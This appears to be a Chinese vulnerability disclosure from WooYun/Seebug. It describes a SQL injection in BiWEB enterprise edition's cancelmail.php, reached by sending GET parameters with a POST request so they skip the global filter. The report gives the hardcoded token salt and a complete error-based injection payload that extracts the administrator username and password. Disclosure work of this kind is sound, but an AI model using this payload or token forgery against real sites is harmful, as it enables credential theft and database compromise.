### 简要描述:
BiWEB最新企业版绕过过滤注入一枚
### 详细说明:
看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ,在search.php里找到了几个注入漏洞,我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
注入点在http://xxx.com/emaillist/cancelmail.php?u_mail=1&token=,其中u_mail=1存在注入漏洞
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤filtrate.inc.php
```
<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是 POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局 过滤,这样就绕过了全局过滤。
在/emaillist/cancelmail.php中
```
无关代码
$objWebInit->arrGPage = $arrGPage;
$objWebInit->db();
if(!empty($_GET['u_mail']) && !empty($_GET['token'])){
if($_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])){//数据匹配,则标识为退订邮件
$strWhere=" WHERE title='{$_GET['u_mail']}'";
$objWebInit->updateDataG('biweb_emaillist',array('pass'=>'7'),$strWhere);
echo "<script>alert('退订成功');window.close();</script>";exit;
}
}
无关代码
```
继续去看看updateDataG(),在/web_common5.8/php_common.php中
```
public function updateDataG($table,$arrData,$where=''){
try {
$strSQL = " UPDATE $table SET ";
foreach ($arrData as $k => $v) {
if(strpos($v,'fun(')!==false){
$v = str_ireplace('fun(','(',$v);
$strSQL .= $k."=" . $v . ",";
}else $strSQL .= $k."='" . $v . "',";
}
$strSQL = substr($strSQL, 0, -1);
$strSQL .= ' '.$where;
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'
';
if($result = $this->db->exec($strSQL)){
if($this->arrGPdoDB['PDO_LOGS']) check::getAPI('logs','addLog',"2^$table^$where^$strSQL");
return $result;
}
} catch (PDOException $e) {
die('Failed: ' . $e->getMessage().'
');
}
}
```
可以看出,整个过程中没有其他的过滤,只要可以绕过全局过滤,就可以注入。
在/emaillist/cancelmail.php中,要满足$_GET['token']==md5($_GET['u_mail'].$arrGWeb['jamstr'])这个条件才可以执行SQL语句,这里的$arrGWeb['jamstr']是一个全局变量,值为’BIWEB88’,因此,这里只要把$_GET['u_mail']与BIWEB88连接并取其md5值赋予token提交即可。
如果按正常的情况使用GET提交,单引号被全局过滤编码,如下:
[<img src="https://images.seebug.org/upload/201412/032343507b78f144db3a57f1412c2dbb882687ce.jpg" alt="单引号被编码副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/032343507b78f144db3a57f1412c2dbb882687ce.jpg)
把GET方法改为POST提交,成功引入单引号,如下:
[<img src="https://images.seebug.org/upload/201412/0323440779e24b7d6f03c7d88cc56420bcb51127.jpg" alt="单引号被引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/0323440779e24b7d6f03c7d88cc56420bcb51127.jpg)
成功注入,管理员用户名及密码如下图中所示:
[<img src="https://images.seebug.org/upload/201412/032344264222cf084401892655b56f3300191137.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/032344264222cf084401892655b56f3300191137.jpg)
payload如下(POST方法提交)
```
http://www.xxx.com/emaillist/cancelmail.php?u_mail=1'/**/or/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**
/concat(user_name,0x23,password,0x23)from/**/biweb_mcenter/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/
group/**/by/**/x)a)or/**/'&token=e68367f5f3a54b46938651c9afa04dcb
```
### 漏洞证明:
见 详细说明
暂无评论